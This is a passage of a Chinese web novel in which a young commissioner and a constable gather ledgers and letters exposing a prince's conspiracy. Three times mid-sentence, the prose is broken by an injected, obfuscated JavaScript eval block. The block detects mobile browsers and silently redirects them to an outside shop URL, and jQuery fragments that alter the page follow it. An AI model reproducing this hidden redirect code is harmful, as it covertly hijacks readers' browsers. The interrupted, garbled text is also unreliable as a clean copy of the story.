“众卿平身。”他缓缓道,“此案,朕已交由江清砚主理,三司协办。无论牵扯到谁,一查到底。” 江清砚? 朝臣们面面相觑。那个刚中会元、揭开水鬼帮案子的书生?他才多大?能担此重任吗? “陛下,”一个须发皆白的老臣出列,正是内阁首辅杨文正,“江清砚虽揭发大案有功,但毕竟年轻,又无官场经验。此案干系重大,恐非他能胜任。” “杨阁老说得对。”另一人附和,“不如由三司主理,江清砚从旁协助。” 永昌帝摇头:“此事,非江清砚不可。” “为何?” “因为……”永昌帝顿了顿,目光扫过殿上众臣,“因为此案牵扯太深,朝中官员,朕……信不过。” 信不过。 这三个字,像一记重锤,砸在每个人心上。 是啊,水鬼帮渗透朝堂,谁也不知道,身边站着的同僚,是不是那些“失踪”的举子冒充的。谁也不知道,平日里道貌岸然的官员,是不是收了水鬼帮的贿赂,为他们大开方便之门。 这种情况下,用朝中官员查案,无异于让贼抓贼。 只有江清砚——一个毫无背景、刚入京城的书生,才是真正干净的人选。 “可是陛下,”杨文正仍不甘心,“江清砚的身体……” “朕知道。”永昌帝打断他,“所以,朕赐他尚方宝剑,准他便宜行事。另派六扇门总捕谢云辞协助,务必查明真相。” 话音刚落,殿外传来一声高唱: “江清砚到——” 所有人的目光再次投向殿门。 只见一个身着月白直裰的少年,缓缓走入殿中。他脸色苍白,身形清瘦,走得很慢,每一步都显得有些吃力。但他背脊挺直,眼神清澈而坚定,像一株在风雪中傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863507|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然挺立的青竹。 正是江清砚。 他走到殿中央,在柳文渊身侧跪下,叩首:“臣江清砚,叩见陛下。” 永昌帝看着他,眼中闪过一丝复杂,但很快恢复平静。 “江清砚,朕问你——此案,你敢查吗?” 江清砚抬起头,目光平静:“臣敢。” “哪怕……牵扯到皇子?” “皇子犯法,与庶民同罪。” “哪怕……朝野震动?” “长痛不如短痛。” 永昌帝点头,从掌印太监手中接过圣旨,朗声宣读: “奉天承运皇帝,诏曰:水鬼帮一案,牵扯科举,祸乱朝纲,罪大恶极。今特命会元江清砚为钦差大臣,主理此案。三司协办,全力配合。赐尚方宝剑,准先斩后奏。无论牵扯何人,一查到底,绝不姑息。钦此——” 圣旨读完,满殿寂静。 江清砚叩首:“臣,领旨谢恩。” 永昌帝将圣旨递给他,又从腰间解下一柄宝剑——正是之前赐的那柄尚方宝剑。 “江清砚,”他沉声道,“这把剑,朕再赐你一次。但你要记住——剑是双刃,既能斩奸邪,也能伤自身。如何用,全看你自己。” “臣明白。”江清砚双手接过宝剑。 剑身乌沉,入手冰凉,却仿佛有千钧之重。 他知道,从这一刻起,他的肩上,就扛起了整个大周的正义和未来。 “还有,”永昌帝看向依旧跪在地上的柳文渊和疯癫的赵文远,“这两个人,暂时不斩了。押回刑部大牢,严加看管。江清砚,你随时可以提审。” “谢陛下。” 永昌帝摆摆手:“都退下吧。江清砚留下。” 朝臣们躬身退出。柳文渊和赵文远也被押走。偌大的金銮殿上,只剩下永昌帝和江清砚两人。 不,还有一个人—— 谢云辞不知何时已经站在殿柱的阴影里,手按刀柄,目光锐利地扫视四周,像一头随时准备扑出的猎豹。 永昌帝看着他,忽然笑了:“谢总捕,不必紧张。在这金銮殿上,没人敢动他。” 谢云辞躬身,却没有放松警惕。 永昌帝也不再管他,看向江清砚,神色严肃起来。 “江清砚,朕给你权力,也给你时间。但……朕不能给你太多时间。” “陛下的意思是……” “三个月。”永昌帝竖起三根手指,“三个月内,此案必须有结果。否则……朝局动荡,朕也压不住。” 三个月。 江清砚心中一凛。时间太紧了。 “臣……尽力而为。” “不是尽力,是必须。”永昌帝盯着他,“三个月后,若查不出结果,或者查出的结果让朕失望……你知道后果。” 江清砚沉默片刻,缓缓点头。 “臣明白。” “去吧。”永昌帝挥挥手,显得疲惫不堪,“记住,你只有三个月。” 江清砚躬身退出。 走出金銮殿时,天已大亮。阳光刺破云层,照在汉白玉的台阶上,反射出耀眼的金光。 谢云辞跟在他身后,低声道:“清砚,你的身体……” “撑得住。”江清砚握紧了手中的尚方宝剑,目光投向远方,“谢兄,我们只有三个月。” 三个月,要查清所有线索,要找到所有证据,要扳倒一个皇子。 这几乎是不可能完成的任务。 但江清砚知道,他没有选择。 要么查个水落石出,要么……死。 “我陪你。”谢云辞依旧只有三个字。 三个字,却重如千钧。 两人并肩走下台阶。长长的宫道在他们面前延伸,仿佛没有尽头。 而前路,比这宫道更长,更艰难。 但他们必须走下去。 因为这是他们选择的路。 也是唯一的路。 32. 第 32 章 第三十二章逻辑之辩 从金銮殿出来,已是辰时三刻。秋日的阳光斜斜洒在宫墙上,将琉璃瓦照得金光灿灿,却驱不散刑部衙门上空的阴霾。 江清砚回到刑部时,李崇明已经在正堂等候。桌上摊着厚厚的卷宗,还有几封刚送来的急报。见到江清砚,李崇明起身相迎,目光落在他手中那柄尚方宝剑上,眼中闪过复杂的情绪。 “江钦差,”他声音低沉,“圣旨已下,此案……就拜托你了。” 江清砚将宝剑放在桌上,目光扫过那些卷宗:“李大人,现在情况如何?” 李崇明指着其中一封急报:“蓟州那边传来消息,药庐被烧后,我们在废墟中发现一条密道。密道通向山里,里面……有尸体。” 江清砚心头一紧:“多少?” “十七具。”李崇明声音发涩,“都是年轻男子,看衣着像是读书人。死亡时间……最早的在三年前,最近的就在上月。” 十七具。 加上之前找到的三十四人,正好是账本上记录的八十七人中的五十一人。还有三十六人……依旧下落不明。 “身份能确认吗?”谢云辞问。 “正在查。”李崇明摇头,“尸体腐烂严重,有些只剩白骨。但我们在密道里发现了一些随身物品——玉佩、印章、还有……几本诗集。” 诗集? 江清砚脑中那座“记忆宫殿”再次展开。他将账本上的记录与那些失踪举子的资料一一对应,忽然,手指停在一条记录上—— “永昌十五年六月,丙字七号,男,十九许,擅诗文,通音律。备注:才情过人,惜出身寒微。” 备注后面,还有一行小字:“留诗三首,录于《江南才子集》。” 《江南才子集》,是市面上流通的一本诗集,收录了江南几位年轻才子的作品。其中有一篇署名“林清源”的七律,江清砚读过,诗风清丽,意境悠远,确实是佳作。 而林清源……正是账本上“丙字七号”的真名。他在永昌十五年进京赶考,途中失踪,至今下落不明。 “那些诗集中,可有署名‘林清源’的?”江清砚问。 李崇明一怔,翻看急报后页的附件,很快找到:“有!确实有一本《江南才子集》,里面有三首署名林清源的诗。而且……” 他顿了顿,神色凝重:“诗集的扉页上,有人用朱笔批注:‘此子可用,惜已废’。” 已废。 这两个字,像冰锥刺进心脏。 江清砚闭上眼,能想象出那个画面——一个才华横溢的年轻举子,被掳到深山里的药庐,被迫写下那些诗。然后……因为某种原因,被认定为“已废”,丢进密道,任其自生自灭。 “畜生……”谢云辞咬牙,眼中燃起怒火。 李崇明也面色铁青,但他强压着情绪,继续道:“还有一件事……我们从密道里救出一个还活着的人。” 还活着? 江清砚猛地睁眼:“是谁?” “他不肯说名字,只说……要见江钦差。”李崇明道,“人已经送到刑部了,但状况很糟,神智不清,身上多处溃烂,薛大夫正在救治。” “带我去见他。”江清砚站起身。 刑部后衙的厢房里,药味浓得呛人。 薛大夫正在为一个形销骨立的人施针。那人躺在床上,盖着薄被,露出的手臂和脸上布满溃烂的伤口,有些已经化脓,散发着腐臭。他眼睛半睁着,眼神涣散,嘴里喃喃自语,听不清在说什么。 江清砚走到床边,仔细打量这人。虽然瘦得脱了形,但依稀能看出原本清秀的轮廓。年纪应该不大,二十出头的样子。 “薛大夫,他怎么样?”谢云辞问。 “身上的伤能治,但脑子……”薛大夫摇头,“中了毒,又长期营养不良,神智受损严重。能不能恢复,难说。” 江清砚在床边坐下,轻轻唤道:“兄台,能听见我说话吗?” 那人眼珠动了动,转向江清砚,眼神依旧涣散,但嘴唇翕动了几下,发出破碎的音节:“……江……清……砚……” 他认识自己? 江清砚心头一震:“你认识我?” “……账本……”那人断断续续道,“我……看过……你的名字……” 看过账本? 江清砚立刻明白了——这人不是被掳的举子,而是水鬼帮的人!而且,是能接触到核心账目的人! “你叫什么名字?在水鬼帮里做什么?”他急问。 “……周……安……”那人艰难地吐出两个字,“账房……” 周安。 江清砚脑中飞快搜索这个名字。水鬼帮的账本上,确实有个叫“周安”的账房,负责记录“特殊货物”的交易。但账本里关于他的记录很少,只提到他“擅算学,通文墨”。 “周安,”江清砚握着他的手,声音放轻,“你知道那些‘特殊货物’都卖给谁了吗?” 周安眼神闪烁,似乎想起了什么可怕的事,身体开始颤抖。 “……不能说……”他摇头,“说了……会死……” “你现在不说,也会死。”谢云辞冷冷道,“但说了,或许还有活路。” 周安看着他,眼中闪过挣扎。许久,他才嘶声道:“……二皇子……” 虽然早有猜测,但亲耳听到这三个字,江清砚还是心头一沉。 “证据呢?”他问。 “……账本……副本……”周安喘息着,“在我……老家……蓟州……周家庄……老槐树下……” 账本副本! 江清砚和谢云辞对视一眼,都看到了对方眼中的震惊。 水鬼帮果然留了后手! “除了账本,还有什么?”江清砚追问。 “……信……”周安闭上眼睛,像是用尽了力气,“二皇子……写给柳文渊的……亲笔信……也在那里……” 铁证! 这是真正的铁证! 江清砚站起身,对谢云辞道:“谢兄,我们立刻去蓟州。” “你的身体……” “撑得住。”江清砚看向李崇明,“李大人,麻烦你安排车马,越快越好。” 李崇明点头:“我这就去办。但……江钦差,此去蓟州三百里,路上恐有危险。要不要多带些人?” “人多目标大,反而容易暴露。”谢云辞道,“我和清砚去就行。李大人,你派一队精干的人马,暗中跟随,保持距离。若有变故,再出手。” “好。” 一个时辰后,两匹快马冲出刑部衙门,直奔城南。 江清砚和谢云辞都换了便装,扮作寻常客商。江清砚裹着厚实的斗篷,遮住苍白的脸和单薄的身形。谢云辞则一身短打,腰佩匕首,眼神锐利如鹰。 出了城门,上了官道,两人立刻催马疾驰。 深秋的官道上,行人稀少。路旁的树木叶子落了大半,光秃秃的枝桠指向灰白的天空。风很大,卷起地上的落叶和尘土,打在脸上生疼。 江清砚伏在马背上,胸口那颗共同的心脏跳得又快又乱。他能感觉到谢云辞的紧张,也能感觉到……自己身体的极限。 但他不能停。 时间太紧了。 从京城到蓟州,快马加鞭也要两天。来回四天,再加上寻找证据的时间……三个月,一下子就去了十分之一。 “清砚,”谢云辞与他并辔而行,侧头看他,“若撑不住,就告诉我。” “我没事。”江清砚摇头,目光投向远方,“谢兄,到了周家庄,我们分头行动。你去老槐树下挖账本,我去找周安的家人。” “不行。”谢云辞断然拒绝,“你一个人太危险。” “周安既然敢把账本藏在家里,说明他的家人可能也知道些什么。”江清砚分析道,“我去找他们,或许能问到更多线索。而且……” 他顿了顿,轻声道:“谢兄,你身手好,挖账本的事,只能你去。若真有人埋伏,你能应付。我……不行。” 这话说得有理,但谢云辞还是不放心。 “那让暗中跟随的人保护你。” “好。” 两人不再多言,专心赶路。 第一天还算顺利。傍晚时分,他们在驿站换了马,吃了些干粮,继续赶夜路。月黑风高,官道上几乎无人,只有马蹄声在寂静的夜里回荡。 到了后半夜,江清砚实在撑不住了。胸口剧痛,眼前阵阵发黑,握着缰绳的手都在发抖。 “停下歇会儿。”谢云辞勒住马,扶他下来。 两人在路旁的树林里找了块背风的地方,生了堆火。江清砚靠着树干坐下,从怀中取出药瓶,倒出最后一粒药丸,吞下。 “药快没了。”谢云辞皱眉。 “到蓟州再配。”江清砚闭上眼,“薛大夫给的方子,我记着呢。” 谢云辞不再说话,只是往火堆里添了些柴。火光跳跃,映着他冷峻的侧脸,也映着江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863508|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清砚苍白的睡颜。 他能感觉到,胸中那颗共同的心脏,跳得越来越慢,越来越弱。江清砚的生命力,正在一点一点流失。 同生共死。 若江清砚撑不住,他也…… “谢兄,”江清砚忽然开口,眼睛依旧闭着,“若我死了,你……别难过。” 谢云辞浑身一震。 “胡说什么。”他声音发涩,“你不会死。” “人都会死。”江清砚笑了,那笑意很淡,却带着释然,“只是早晚而已。谢兄,能遇到你,能和你一起查这个案子……我已经很满足了。” “清砚……” “听我说完。”江清砚睁开眼,看着他,“若我真死了,你就带着证据回京城,交给李大人,交给陛下。然后……离开京城吧。去江南,去你想去的地方,好好活着。” 谢云辞眼眶一热,别过脸去。 “你不说话,我就当你答应了。”江清砚重新闭上眼,“睡吧,明天还要赶路。” 火堆噼啪作响。 夜风吹过树林,发出呜咽般的声音。 谢云辞看着江清砚安静的睡颜,许久,才低声道: “我不会让你死的。” “就算要死,也一起死。” 声音很轻,散在夜风里。 但江清砚似乎听见了,唇角勾起一丝极淡的笑意。 第二天午后,他们终于抵达蓟州。 没有进城,直接绕到城西的周家庄。那是个不大的村子,几十户人家散落在山脚下,村口有棵老槐树,枝繁叶茂,据说有上百年树龄。 按照周安的描述,账本就埋在老槐树下三尺深的地方。 谢云辞让江清砚在村外的树林里等着,自己则扮作过路的旅人,牵着马进了村。 江清砚躲在树林里,看着谢云辞的背影消失在村口,心中莫名不安。他按了按胸口,那颗共同的心脏跳得很快——是谢云辞的紧张,通过联结传来。 时间一分一秒过去。 约莫过了一炷香时间,村里忽然传来犬吠声,接着是呼喝声、打斗声! 出事了! 江清砚心中一紧,正要冲出去,却被暗中跟随的刑部暗探按住。 “江钦差,别动。”暗探低声道,“谢总捕交代了,无论发生什么,都不能让你涉险。” “可是……” “放心,我们的人已经进去了。” 正说着,村里冲出一道人影——正是谢云辞!他怀里抱着个油布包裹,身上有血,但动作依旧敏捷。几个黑衣人追在他身后,刀光闪烁。 “走!”谢云辞冲到树林边,将包裹塞给江清砚,转身迎敌。 暗探们立刻冲出,与黑衣人战成一团。 江清砚抱着那个油布包裹,能闻到上面淡淡的泥土味和……血腥味。包裹不重,但里面装着的,可能是扳倒一个皇子的铁证。 “清砚,上马!”谢云辞解决掉最后一个黑衣人,翻身上马。 江清砚也连忙上马。两人一前一后,冲出树林,朝着来路疾驰而去。 身后,追兵的声音渐渐远去。 直到跑出十几里,确定安全了,两人才勒马停下。 “你受伤了?”江清砚看着谢云辞肩头的血迹。 “皮外伤,不碍事。”谢云辞摇头,看向那个油布包裹,“打开看看。” 江清砚小心翼翼地解开包裹。里面果然是两本账簿,还有几封信。账簿的格式与之前见过的一模一样,但内容更详细,连每次交易的经手人、时间、地点都记录得清清楚楚。 而那几封信……落款赫然是二皇子的私印! “终于……”江清砚握紧那些信,眼中闪过泪光,“终于……找到了。” 有了这些,二皇子就再也跑不掉了。 “我们现在回京城?”谢云辞问。 江清砚却摇头。 “不,先去一个地方。” “哪儿?” “清漪园。”江清砚看向京城方向,“莲花池。” 谢云辞一怔,随即明白了——赵文远疯前念叨的“莲花池”,一定是埋尸地。而那里,可能还藏着更多证据。 “好。”他点头,“我陪你去。” 两人调转马头,朝着京城方向,再次疾驰而去。 夕阳西下,将两人的影子拉得很长,很长。 前方,是最后的战场。 而他们,已经握住了胜利的钥匙。 33. 第 33 章 第三十三章纸张之证 回到京城时,已是第三日深夜。 城门早已关闭,但守城的兵士认得江清砚手中的尚方宝剑,不敢阻拦,慌忙打开城门放行。马蹄踏碎夜的寂静,在空荡的街道上回响,惊起几户人家的犬吠。 江清砚没有回刑部,而是直奔清漪园。 清漪园在城南,是皇家别苑,平日里只有皇亲国戚才能出入。此刻夜深,园门紧闭,门前两尊石狮在月光下显得格外狰狞。御林军的守卫在门前巡逻,盔甲在夜色中泛着冷硬的光。 谢云辞勒住马,看向江清砚:“怎么进去?” 硬闯肯定不行。御林军是天子亲军,擅闯皇家禁地是死罪,就算有尚方宝剑,也不能公然与御林军冲突。 江清砚沉默片刻,从怀中取出一枚令牌——那是永昌帝之前赐的,可自由出入宫禁。但清漪园算不算宫禁?他不知道。 “试试吧。”他翻身下马,走向园门。 守卫的御林军见有人靠近,立刻持戈上前,厉声喝道:“皇家禁地,闲人止步!” 江清砚亮出令牌:“我乃钦差大臣江清砚,奉旨查案,请开门。” 守卫仔细查验令牌,又看了看江清砚手中的尚方宝剑,犹豫片刻,还是摇头:“大人,此令只能出入宫城,清漪园不在此列。若无陛下特旨,恕末将不能放行。” 果然不行。 江清砚蹙眉。硬闯不行,等圣旨又来不及——明日一早,二皇子那边可能就会得到消息,届时再想进清漪园,就难了。 正为难时,园内忽然传来一阵脚步声。一个穿着宦官服饰的老者匆匆走来,看到江清砚,眼中闪过惊讶,随即躬身行礼:“江大人,您怎么来了?” 江清砚认得他——是清漪园的管事太监,姓王,之前在宫中见过几次。 “王公公,”江清砚还礼,“本官奉旨查案,需要进园查看,可否行个方便?” 王公公看了看他手中的尚方宝剑,又看看那些御林军,沉吟片刻,低声道:“江大人,不是老奴不肯通融。只是这清漪园……近日不太平。” “不太平?” “是。”王公公压低声音,“前些日子,莲花池那边……死了个人。” 死了个人? 江清砚心头一跳:“什么人?” “是个小太监,负责打扫莲花池的。”王公公声音更低了,“说是失足落水,但老奴看不像——那孩子水性极好,怎么会淹死在莲花池里?而且……” 他顿了顿,左右看看,才继续道:“而且捞上来时,身上有伤,像是……被人掐死的。” 掐死的。 江清砚与谢云辞对视一眼,都想到了赵文远疯前念叨的“莲花池”。 那里果然有问题。 “王公公,”江清砚正色道,“此案关系重大,我必须进去查看。若公公为难,我可在此等候,请公公进宫请旨。” 王公公犹豫了。进宫请旨,一来一回至少一个时辰。而且这深更半夜的,打扰陛下休息,他担待不起。 “罢了,”他最终叹了口气,“江大人请随老奴来。但请大人答应老奴,无论看到什么,都……” “都守口如瓶。”江清砚接道,“公公放心,本官明白。” 王公公这才点头,对御林军守卫道:“开门吧,江大人是奉旨查案,若有问题,老奴担着。” 守卫见管事太监发话,也不再坚持,打开了园门。 清漪园很大,月色下,亭台楼阁、假山流水都笼罩在一片朦胧的银辉中。王公公提着灯笼在前引路,江清砚和谢云辞跟在后面,三人沿着碎石小径,很快来到莲花池边。 莲花池是园中最大的一处水景,占地数亩。此时已是深秋,荷叶枯败,只剩下光秃秃的茎秆立在水中,在月光下投下扭曲的影子。池水幽深,泛着诡异的墨绿色,水面上漂浮着几片枯叶,随波荡漾。 “就是这里。”王公公指着池边一处,“那小太监就是在这里被发现的。” 江清砚走到池边,蹲下身仔细查看。池边的石板湿滑,长满青苔,确实容易失足。但若真是被人掐死再抛尸,也该留下些痕迹。 他伸出手,探入水中。池水冰冷刺骨,像无数根针扎进皮肤。但他没有缩回手,而是在水底摸索——池底是淤泥,很软,若有人在这里挣扎过,应该会留下痕迹。 忽然,他指尖触到一个硬物。 “谢兄,”他低声道,“帮我一下。” 谢云辞立刻上前,两人合力,从淤泥里捞出一个东西—— 是个铁箱。 不大,只有尺许见方,但很沉,表面锈迹斑斑,挂满了水草和污泥。箱子上了锁,锁眼也被锈死了。 “这是什么?”王公公惊讶道。 江清砚没说话,用匕首撬开锁。箱盖打开,里面是几卷用油布包裹的东西。取出油布,展开一看—— 是账本。 还有书信。 账本的格式与水鬼帮的如出一辙,但内容更详细,不仅记录了“货物”的交易,还记录了银钱的流向——哪笔钱进了谁的腰包,哪笔钱用来打点哪个衙门,都写得清清楚楚。 而书信……落款都是“二皇子”。 其中一封信,日期是三个月前,内容让江清砚背脊发凉: “柳卿:科举在即,需加紧‘备货’。江南、江北各需十人,务必家世清白,才学过人。另,江清砚此人碍事,可除之。” 可除之。 三个字,冷得像冰。 原来从那么早开始,二皇子就已经想杀他了。 江清砚握紧那封信,手在微微发抖。不是怕,是愤怒。 “清砚,”谢云辞按住他的肩,“冷静。” 江清砚深吸一口气,强迫自己平复情绪。他继续翻看其他信件,越看心越沉——这些信里,不仅提到了科举舞弊,还提到了军饷案、漕运案,甚至……提到了六年前谢家的案子! 其中一封信,日期是永昌十三年,正是谢家出事的那年。信是二皇子写给柳文渊的: “谢远山查军饷案甚紧,恐生变故。柳卿可联络赵文远、陈文正,早做打算。事成之后,必有重谢。” 早做打算。 怎么打算?就是诬陷谢远山贪污,害得谢家满门抄斩! “谢兄……”江清砚抬头看向谢云辞,声音发颤。 谢云辞已经看到了那封信。他脸色惨白,眼中燃起熊熊怒火,拳头握得咯咯作响,指甲深深掐进掌心,鲜血顺着指缝滴落。 六年了。 他查了六年,终于找到了仇人。 “二皇子……”他嘶声低吼,像一头受伤的野兽。 王公公吓得后退几步,差点跌进池里。 江清 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准确地说,是一张残破的纸,只有巴掌大小,边缘焦黑,像是从火里抢救出来的。纸上写着几行字,字迹娟秀,像是女子的笔迹: “永昌十三年七月初九,收黄金五千两,用于打点刑部、大理寺。谢远山案可成。” “永昌十三年七月十五,收翡翠玉如意一对,送与周世昌,令其指证谢远山贪污军饷。” “永昌十三年八月初三,谢远山入狱。其妻悬梁,其女携幼弟出逃,已被截杀于城外。” “永昌十三年八月初十,谢远山死于狱中。案结。” 每一行字,都像一把刀,狠狠扎进谢云辞的心脏。 原来母亲是悬梁自尽。原来姐姐带着他出逃,是被截杀的。原来父亲在狱中……也死了。 原来谢家,早就家破人亡。 谢云辞跪倒在地,双手撑地,喉咙里发出压抑的、野兽般的呜咽。 江清砚也红了眼眶。他蹲下身,轻轻抱住谢云辞颤抖的肩膀。 “谢兄,哭出来吧。哭出来,会好受些。” 谢云辞终于放声痛哭。 六年了,他第一次真正地哭。为死去的父母,为惨死的姐姐,也为这六年来,独自一人背负仇恨、在黑暗中挣扎的自己。 王公公站在一旁,也忍不住抹泪。 月光洒在莲花池上,波光粼粼,像无数破碎的银子。 许久,谢云辞才止住哭泣。他抬起头,眼睛红肿,但眼神却异常清明——像暴风雨后的天空,虽然还有阴云,但已经能看到光了。 “清砚,”他声音嘶哑,“我们回刑部。” 江清砚点头,扶他起来。两人重新包好铁箱,向王公公告辞。 “王公公,”江清砚郑重道,“今夜之事,还请保密。” “老奴明白。”王公公躬身,“江大人,谢总捕……请节哀。” 两人离开清漪园,翻身上马,朝着刑部疾驰而去。 夜风吹在脸上,冰冷刺骨。 但江清砚却觉得,胸中那颗共同的心脏,跳得前所未有的坚定。 同生共死。 现在,他们终于握住了所有的证据。 扳倒二皇子,为谢家报仇,还那些冤魂一个公道—— 就在眼前了。 34. 第 34 章 第三十四章反将一军 刑部衙门的灯火,一夜未熄。 正堂里,李崇明、张正言、周明远三位主审官围坐在长桌旁,桌上摊满了从蓟州和清漪园带回的证据:账本、书信、那张残破的纸……烛火摇曳,将三人的影子投在墙上,随着火光晃动,像三尊沉默的雕像。 江清砚坐在下首,脸色苍白如纸,但眼神清亮。谢云辞站在他身后,手按刀柄,目光如鹰隼般扫视着门口——虽然这里是刑部,但谁也不敢保证,二皇子的人不会狗急跳墙。 “这些证据……”李崇明拿起那张残破的纸,手在微微颤抖,“足够定二皇子的死罪了。” 张正言点头,但眉头紧皱:“可他是皇子,是陛下的亲生儿子。陛下……下得了这个决心吗?” 周明远冷哼一声:“皇子犯法,与庶民同罪。若陛下包庇,如何服众?如何向天下交代?” 三人争论不休,江清砚却只是静静听着。 他知道他们在顾虑什么——二皇子不仅是皇子,还是嫡子,母族势大,在朝中根基深厚。若真要动他,必会引起朝野震动,甚至……可能引发夺嫡之争。 但若不动,这些证据就白费了,那些冤魂就永远得不到安息。 “三位大人,”江清砚终于开口,声音平静,“学生有一言。” 三人都看向他。 “二皇子之罪,不在勾结匪类,不在扰乱科举,甚至……不在谋害忠良。”江清砚缓缓道,“他的罪,在于动摇国本。” “动摇国本?” “是。”江清砚拿起那本从清漪园带回的账本,“诸位请看,这账本上记录的,不只是银钱交易,还有……官员的任免。” 他翻开其中一页,指着上面一行字:“永昌十六年三月,丙字三十七号,送入户部任主事,代价是黄金三千两,以及……一个侍郎的缺。” “永昌十七年五月,甲字十二号,送入礼部任郎中,代价是黄金五千两,以及……一个尚书的承诺。” “永昌十八年七月,乙字九号,送入都察院任御史,代价是黄金八千两,以及……一个巡抚的位置。” 一桩桩,一件件,触目惊心。 二皇子不仅通过水鬼帮敛财,更可怕的是,他在用这些钱,买官卖官,安插亲信,渗透朝堂! “他在……织一张网。”江清砚合上账本,目光扫过三位主审官,“一张覆盖整个朝堂的网。若让他得逞,大周的朝堂,就成了他二皇子的私产。届时,陛下的话还有人听吗?大周的律法还有人守吗?这江山……还姓周吗?” 三个问题,像三记重锤,砸在每个人心上。 是啊,若让二皇子得逞,那这天下,就不再是周家的天下了。 “所以,”江清砚继续道,“此案已不仅是刑事案,更是……国本案。陛下若想保住大周的江山,就必须动二皇子。没有选择。” 没有选择。 李崇明、张正言、周明远面面相觑,都从对方眼中看到了决断。 “江钦差说得对。”李崇明缓缓点头,“此案,必须彻查到底。” “可如何查?”张正言皱眉,“二皇子府邸戒备森严,我们总不能带兵去搜吧?” “不需要搜府。”江清砚从怀中取出一份名单,“这是从账本和信件中整理出的,与二皇子有往来的官员名单。一共四十七人,遍布六部、都察院、大理寺,甚至……御林军。” 他顿了顿,继续道:“我们可以先从外围入手,一个一个查。查他们的财产来源,查他们的升迁履历,查他们与二皇子的往来。只要有一个突破口,就能顺藤摸瓜,牵出一串。” “可这需要时间。”周明远担忧道,“二皇子不会坐以待毙,他一定会反扑。” “所以我们动作要快。”江清砚眼中闪过寒光,“明日一早,就动手。先从……御林军副统领刘振开始。” 刘振,御林军副统领,负责宫城守卫。账本上记录,他曾收受二皇子黄金万两,为其在御林军中安插亲信。更关键的是,清漪园莲花池那个“失足落水”的小太监,就是他手下的人发现并处理的。 若刘振是二皇子的人,那宫城的安全……就堪忧了。 “好。”李崇明拍案而起,“就这么办!明日早朝后,立刻拿人!” 计划已定,众人分头准备。 江清砚和谢云辞回到厢房时,已是四更天。窗外天色依旧漆黑,只有零星几点星子,在云层间若隐若现。 “清砚,”谢云辞扶他坐下,倒了一杯热茶,“你的脸色很差。” “无碍。”江清砚接过茶,小口啜饮,“谢兄,明日……你要小心。” “我知道。”谢云辞在他对面坐下,看着他苍白的脸,忽然道,“清砚,等这件事了了,我们去江南吧。我听说苏州的园林很美,杭州的西湖也很美。我们可以在那里买个小院子,种些花草,养只猫……” 他说得很慢,像在描绘一个美好的梦境。 江清砚听着,眼中渐渐有了暖意。 “好。”他轻声道,“就去江南。” 两人相视而笑。 窗外,传来了第一声鸡鸣。 天,快亮了。 辰时正,早朝结束。 文武百官鱼贯而出,三三两两交谈着,往宫外走去。御林军副统领刘振走在人群中,神色如常,与同僚谈笑风生。 刚走出午门,忽然,一队刑部衙役冲了上来,将他团团围住! “刘大人,”李崇明从人群中走出,面色冷峻,“请跟我们走一趟。” 刘振脸色一变,强作镇定:“李大人,这是何意?本官犯了何事?” “到了刑部,自然知晓。”李崇明一挥手,“带走!” 衙役们一拥而上,将刘振押上早已等候在旁的马车。整个过程快如闪电,周围的官员还没反应过来,马车已经疾驰而去。 消息像长了翅膀,瞬间传遍朝野。 二皇子府邸。 “砰!” 一只青瓷茶杯狠狠砸在地上,碎片四溅。 “废物!一群废物!”二皇子脸色铁青,在书房里来回踱步,“刘振怎么会暴露?!账本不是烧了吗?!书信不是毁了吗?!” 几个幕僚跪在地上,瑟瑟发抖。 “殿、殿下息怒……”一个幕僚颤声道,“可能是……可能是江清砚找到了其他证据……” “江清砚!”二皇子咬牙切齿,“又是那个病秧子!本宫当初就该直接杀了他!” “殿下,现在不是动怒的时候。”另一个幕僚壮着胆子道,“刘振知道太多,若他招供,殿下就危险了。必须……早做打算。” 早做打算? 二皇子停下脚步,眼中闪过狠毒。 “传令下去,”他压低声音,“让咱们的人,今夜动手。江清砚、谢云辞、还有刑部那三个老东西……一个不留!” “可是殿下,”幕僚惊道,“江清砚有尚方宝剑,又是钦差,杀他等同谋反啊!” “谋反?”二皇子冷笑,“本宫若不动手,等他们查到头上来,一样是死!不如搏一把!” 他顿了顿,补充道:“记住,做得干净些,要像……意外。” “是……” 幕僚们躬身退下。 书房里只剩下二皇子一人。他走到窗边,看着窗外阴沉的天色,眼中闪过一丝疯狂。 从小到大,他都是最受宠的皇子。母后是皇后,外祖家是当朝第一世家,朝中大半官员都与他有往来。皇位,本该是他的。 可父皇偏偏更偏爱那个贱人生的老三! 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863510|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不得不争,不得不抢。水鬼帮的银子,科举的便利,朝堂的人脉……这些都是他争储的筹码。 